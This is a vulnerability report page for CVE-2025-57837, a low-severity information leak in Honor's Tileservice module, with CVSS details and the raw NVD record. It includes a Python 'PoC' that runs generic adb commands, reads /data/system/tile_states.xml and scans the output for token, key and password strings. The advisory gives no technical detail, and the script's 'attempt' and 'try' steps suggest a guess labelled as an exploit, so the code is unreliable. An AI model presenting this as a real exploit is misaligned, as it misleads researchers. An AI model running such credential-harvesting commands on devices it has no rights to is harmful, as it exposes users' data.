Security Vulnerability Report
中文
CVE-2025-57837 CVSS 2.9 LOW

CVE-2025-57837

Published: 2025-10-20 09:15:33
Last Modified: 2026-04-15 00:35:42
Source: 3836d913-7555-4dd0-a509-f5667fdf5fe4

Description

Tileservice module is affected by information leak vulnerability, successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Honor设备 Tileservice模块(具体受影响版本请参考Honor官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57837 PoC - Honor Tileservice Information Disclosure # This PoC demonstrates the information leak vulnerability in Honor's Tileservice module # Note: This vulnerability requires local access to the device import subprocess import json def exploit_tileservice_info_leak(): """ Exploit CVE-2025-57837: Information disclosure in Tileservice module Requires: Local access to the Honor device (ADB or physical access) """ # Step 1: Connect to the device via ADB # adb connect <device_ip>:5555 # Step 2: Query the Tileservice for internal state information # The vulnerability allows accessing internal service data without proper authorization commands = [ # Attempt to dump Tileservice internal state "adb shell dumpsys tile", # Try to access Tileservice through service binding "adb shell service call tile 1", # Query Tileservice configuration "adb shell settings get secure sysui_qs_tiles", # Attempt to read Tileservice related files "adb shell cat /data/system/tile_states.xml", ] results = [] for cmd in commands: try: result = subprocess.run( cmd.split(), capture_output=True, text=True, timeout=10 ) results.append({ "command": cmd, "stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode }) except Exception as e: results.append({ "command": cmd, "error": str(e) }) return results def analyze_leaked_info(results): """ Analyze the leaked information from Tileservice """ sensitive_patterns = [ "package=", "user=", "token=", "key=", "password=", "internal_state=", "service_config=" ] leaked_data = [] for result in results: if "stdout" in result: for pattern in sensitive_patterns: if pattern in result["stdout"]: leaked_data.append({ "pattern": pattern, "data": result["stdout"] }) return leaked_data if __name__ == "__main__": print("[*] CVE-2025-57837 - Honor Tileservice Information Disclosure PoC") print("[*] This PoC requires local access to the target Honor device") print("[*] Use responsibly and only on devices you own or have permission to test") print() results = exploit_tileservice_info_leak() leaked = analyze_leaked_info(results) if leaked: print(f"[!] Found {len(leaked)} potential information leaks") for item in leaked: print(f" Pattern: {item['pattern']}") else: print("[-] No sensitive information leaked or device not vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57837", "sourceIdentifier": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "published": "2025-10-20T09:15:33.087", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tileservice module is affected by information leak vulnerability, successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 1.4}]}, "weaknesses": [{"source": "3836d913-7555-4dd0-a509-f5667fdf5fe4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://www.honor.com/global/security/cve-2025-57837/", "source": "3836d913-7555-4dd0-a509-f5667fdf5fe4"}]}}